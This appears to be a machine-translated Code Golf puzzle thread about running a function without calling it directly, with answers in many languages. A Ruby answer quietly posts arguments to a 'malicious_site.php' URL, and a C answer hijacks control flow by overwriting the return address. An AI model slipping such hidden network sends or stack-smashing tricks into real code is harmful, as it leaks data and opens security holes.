呼び出さずにメソッドを呼び出す[終了]


77

削除されたStackOverflowの質問に触発されました。明示的に呼び出すことなく、特定のメソッドを実行する方法を思いつくことができますか?間接的であればあるほど良い。

正確に言うと、次のとおりです(Cは例証のためだけに使用され、すべての言語が受け入れられます)。

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

元の質問: ここに画像の説明を入力してください


58
+10471 ...良い
qwr 14年

29
スタックオーバーフローをオーバーフローさせるには、どのくらいの担当者が必要ですか?
PyRulez 14年

34
どうやらこれは@Mysticialのアカウントのスクリーンキャップで、アバターが見えます。Mysticial、あなたは可能性があり下さいちょうどあなたの担当者]タブをクリックしてください?!?!?!
ドアノブ

4
@Doorknobどうして彼がいいの?そのすべてが1つの答えから来ています。
FDinoff 14年

8
@PyRulez Jon Skeetはまだいないので、今のところ安全です
コールジョンソン14年

回答:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

GCCでコンパイルすると、コンパイラはに置き換えprintf("Goodbye!\n")られますputs("Goodbye!")。これはより単純で、同等であると想定されています。カスタムputs関数をこっそり提供したので、代わりに呼び出されます。


1
@ user17752これは、実際にはGCCが-O0でも行う変換です。(とにかく、GCC 4.8。他のバージョンには他のオプションが必要なのかもしれません。)
hvd 14年

1
申し訳ありませんが、私の間違いは、MacBookでclangを使用していたことを忘れていました。
DarkHeart

@ user17752ありがたいことに、他のコンパイラでテストしたことはありませんでした。clangには少なくとも同じ変換を行うオプションがあることを知ってうれしいです。
hvd 14年

おめでとうございます!勝者はあなたです!

84

マルウェアは、コードで呼び出されない機能をどのように実行できますか?バッファをオーバーフローさせることにより!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

私のシステムでは、の戻りアドレスはmainたまたま最初のローカル変数の3ワード上に格納されています。その戻りアドレスを別の関数のアドレスでスクランブルすることにより、その関数にmain「戻り」ます。別のシステムでこの動作を再現する場合は、3を別の値に調整する必要があります。


打つ(+1)-これは明らかなCソリューションです。
コミンテルン14年

20
<!-- language: lang-c -->コードの前に2行を使用して強調表示します。
ビクターStafusa 14年

9
すべてが@Victor、構文強調のヒーローです!
ジェイソンC 14年

@Victorは公式に文書化されていますか?はいの場合、どこで?
トールビョーンラヴンアンデルセン14年

3
@ThorbjørnRavnAndersenmeta.stackexchange.com /questions/184108/…
ビクタースタフサ14年

75

バッシュ

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
例外処理。他のメソッド呼び出し!
phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

他の回答に触発されたいくつかの方法を次に示します。

  1. コードを直接実行する

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    これは、実際に関数を呼び出さない最良の方法です。

  2. デストラクタを使用する

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. std I / Oを使用する

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. 属性検索を使用する

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. インポートメカニズム

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    さて、これで全部だと思います。今は何もインポートできません。待てない

  6. get-itemブラケットの使用 []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. グローバル変数を使用します。お気に入り!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloへのアクセスd['hello']です。この後、世界は灰色に見えます。

  8. メタクラス;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. イテレータの使用(任意の演算子をオーバーロードして使用できます)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. エラー!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. フレームワークはあなたを呼び返します。ほとんどすべてのGUIにこの機能があります。

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. ソース文字列を実行します(関数はファイル内にある必要があります)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. デコレータ

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. pickleの逆シリアル化あり(最も少ないお気に入りが来る)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. シリアル化を使用する

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

その他のPythonの回答:


1
素晴らしいコレクションですが、スレッドを忘れていました。;)
nyuszika7h 14年

この答えはばかげています。+1
アステリー14

これはpython 3
ブレーデンベスト

1
これらの例の多くは、示されたメタクラスと例外調達は、Python 3で動作しないのPython 3で動作
ユーザ

22

Javascript

これは、JSFuckを使用して汚い作業を行います。

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
これは明示的な関数呼び出しとしての資格があると思います。非常に難読化されたものです。
primo 14年

3
@primo、実行するjavascriptの文字列を作成し、それを呼び出すFunctionオブジェクトを取得します。しかし、それを行うために、型間の暗黙的な変換を使用します。たとえば""、文字列であり[]、0 と評価されるため""[[]]、未定義であり、""[[]]+""「未定義」です。そこから個々の文字を引き出すことができます:(""[[]]+"")[[]]is "u"。したがって、execを任意のコードで呼び出すのは、ハックのようなものです。私はそれが重要だと思う?
フィルH 14年

1
@PhilH私はそれがどのように機能するか理解しています。最後の2つの括弧を削除しますfunction anonymous() { x() }
primo

22

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

これthe_functionはプロファイリング関数として設定され、各関数呼び出しと戻りで実行されます。

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

これはPythonですか?
Hosch250 14年

@ user2509848はい、言及するのを忘れました。
GRC

C以外の答え!もっと見たいです:D

@Johnsywebご覧くださいmeta.codegolf.stackexchange.com/q/1109/9498を。特にコードの外観にほとんど影響しない場合(短いコードなど)、構文の強調表示を含めるためにすべての投稿を編集する必要はありません。
ジャスティン14年

@Quincunx:ADIは☻
Johnsyweb

18

C#

あなたが呼び出すためにしようとするたびに私たちは、常にいくつかのコードを実行するためにDLRを悪用することができます任意のクラスのメソッドを。実行されているメソッドは呼び出されないだけでなく、名前によっても参照されないため、デリゲート、リフレクション、静的コンストラクターなどのソリューションよりも安価/明白です。

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

これは常に「Ha!Tricked you!」と表示されます。関係なくどのようなあなたが起動してみてくださいa。だから私は同じように簡単に書くa.SuperCaliFragilisticExpiAlidocious()ことができ、それは同じことをするでしょう。


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

これは非常に直接的であるが、確かではないコールへのhello_world関数が実行さんにもかかわらず、。


16

ルビー

watに触発されました。

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

必要に応じて、Cでプログラムの最後に呼び出される関数を登録できます。

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Javaでこれを試しました:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

このメソッドsecretMethodNotCalledInMainはリフレクションによってのみ呼び出され、呼び出されたものsecretMethodNotCalledInMainは検索していません(代わりに、呼び出されていないものは検索していますmain)。さらに、コードのリフレクション部分はmain、JDKのキャッチされていない例外ハンドラが開始されると、メソッドの外側で呼び出されます。

ここに私のJVM情報があります:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

これが私のプログラムの出力です:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

それらをNullPointerExceptionネイティブコードからスローしてリフレクションを処理することを期待していませんでした。しかし、@ johnchen902で述べたように、それはいくつかのメソッドを継承しているため、java.lang.Objectそれらをnullsで呼び出すことになりました。


これらNPEはJDKのバグではありません。with java.lang.Objectなどで宣言されたインスタンスメソッドを呼び出そうとしたためにスローされます。toString()null
johnchen902 14年

@ johnchen902ああ、もちろん。ありがとうございました。編集しました。
ビクターStafusa 14年

14

C ++

C ++の1つの方法は、静的オブジェクトのコンストラクタまたはデストラクタ、あるいはその両方です。

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
私はまた、newとdeleteオーバーロードすることも考えましたが、3つの答えで十分だと思います:)
fredoverflow 14年

コンストラクタ/デストラクタはC ++の「メソッド」と見なされますか?.NETとJavaでは、実際には異なるメンバータイプです。あなたはできません直接、あなたがしたい場合でも、静的ctorのを呼び出すために...
Aaronaught

@Aaronaught:C ++で「メソッド」と見なされるものは何もありません(少なくとも、何を話しているかを知っている人なら誰でも)。コンストラクターとデストラクターはメンバー関数です。ただし、これらは「特別な」メンバー関数です(たとえば、コンストラクターには名前がないため、直接呼び出すことはできません)。
ジェリーコフィン14年

まあ、OPがしたので、私はその用語を使用しました。C / C ++および他のほとんどすべての非Java / .NET言語には、メソッドではなく関数があります。しかし、顕著なポイントは、それらを直接呼び出すことはできないということです。あなたは、インスタンスコンストラクタが技術的に直接で呼び出されていることを主張することができnew、そしてそれは興味深い答えが1を起動する方法持っているだろうなしに new。しかし、私は知りません、静的コンストラクターはちょっとしたチートのように感じます。
アーロンノート14年

@Aaronaughtすでに割り当てられているメモリの一部でコンストラクターを呼び出したい場合は、と書くことができますnew (p) foo()。また、を介してメモリを解放せずにオブジェクトを破棄できますp->~foo()
fredoverflow 14年

12

C:Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

出力:

Hello World!

メソッドをリンクするには、printf()をプログラムのどこかでコンパイルする必要がありますが、実際に呼び出す必要はありません。printf()およびmain()関数は、コードセグメント内で互いに276バイト離れて配置されています。この値は、OSとコンパイラに基づいて変わります。このコードを使用して、システム上の実際のアドレスを見つけて、それらを差し引くだけです。

printf("%d %d\n", &printf, &main);

4
*main本当に混乱し、不要です。mainは逆参照できない関数であるため、関数ポインタに暗黙的に減衰し、その後、関数を再び参照するために逆参照されます。関数からintを減算することはできませんので、再び関数ポインターに減衰します。あなたも書くかもしれません(*****main-276);)あなたはおそらく書く(&main-276)か、(*(main-276))代わりにするつもりでした。
fredoverflow 14年

6
The * before main is really confusing and unnecessary.-このサイトでは一般的に良いことではありませんか?
ジェームズウェブスター14

私は、標準的には整形式のプログラムの開発には使用してはならないと言ったTHER印象の下にあったmain...が、今それを見つけることができません
デイモン

3
難読化された参照によって明示的に呼び出す
ノワエズ14年

9

C(GCCインラインasmを使用)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

これにより、GCCで生成されたコードの一部がオブジェクトファイルの別のセグメントに配置され、制御フローがthe_functionを効果的に「フォールスルー」します。GCCが明らかに関数の並べ替えを決定した場合、これは機能しないことに注意してください。を使用して、MirBSD-current / i386でGCC 3.4.6でテスト済み-O2。(また、デバッグを中断し、-gエラーを出力してコンパイルします☺)


8

PHP≥5.4.0

この溶液を確か恐ろしい混乱であるが、それに与えられたタスクを実行する(方法何ら規定がなかっただけでなく、それが実行しなければなりません)。

呼び出すことなく呼び出す関数

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

解決策

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

可能な出力:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

説明

呼び出されると、executeFunction()現在実行中のファイルの内容を読み取り(これはCLIからのみ実行されることを意味します$argv)、指定された関数の引数と本文を解析し、すべてをハックして新しいチャンクに戻しますコード、eval()すべて、結果を返します。結果がgetRandomString()直接または間接的に実際に呼び出されることはありませんが、関数本体のコードは引き続き実行されます。


では__construct()、関数を直接呼び出すことはnew Something()なく、代わりに使用するため、PHPでメソッドカウントを作成していますか?
ダミールカシポビッチ14

@ D.Kasipovicちょっと、別の方法で、あなたはまだそれを直接呼び出していると主張することができます。私は現在のアプローチを選択しました。なぜなら、私は箱の外で考えるのが好きだからです。私はちょうどへのコールバックとしての機能を登録している可能性がありregister_tick_function()register_shutdown_function()またはspl_autoload_register()@のGRCのPythonの答えに似て、私はそれが「不正行為」と簡単な方法を取っているように感じます。
トニーエリス14


7

T-SQL

これは組み込みの機能です。勝利のきっかけに!

本当に楽しみたい場合は、エイプリルフールの日に多数のINSTEAD OFトリガーを作成してください。

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

結果:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

いたずら。そのようなlulz。ワオ。

TinkerはSQLFiddleでそれを削除しました。


2
トリガーは常にアプリケーション開発者として私を惹きつけます。
マシュー14年

7

JavaScript

Firefoxコンソールの場合:

    this.toString = function(){alert('Wow')};

次に、コンソールで何かを入力し始める- .toString()コンソールで入力しているときにFirefoxが複数回呼び出します。

同様のアプローチは次のとおりです。

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

選択するプラットフォームはLinuxです。関数を呼び出すことはできないので、代わりにリンカーに実行させます。

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

マジックアドレスを取得する方法は?

私たちは、Linux Standard Base Core Specificationに依存しています。

.fini_array

このセクションは、セクションを含む実行可能ファイルまたは共有オブジェクトの単一の終了配列に寄与する関数ポインターの配列を保持します。

  1. コードをコンパイルします。

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. のアドレスを調べます.fini_array

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. そのVMAを見つけます。

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

の値を置き換えますADDRESS


5

VB6およびVBA

クラスのメソッドを呼び出しているため、これが資格があるかどうかはわかりません:

これはクラスモジュールに含まれます。

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

そして、これは「呼び出し」コードです:

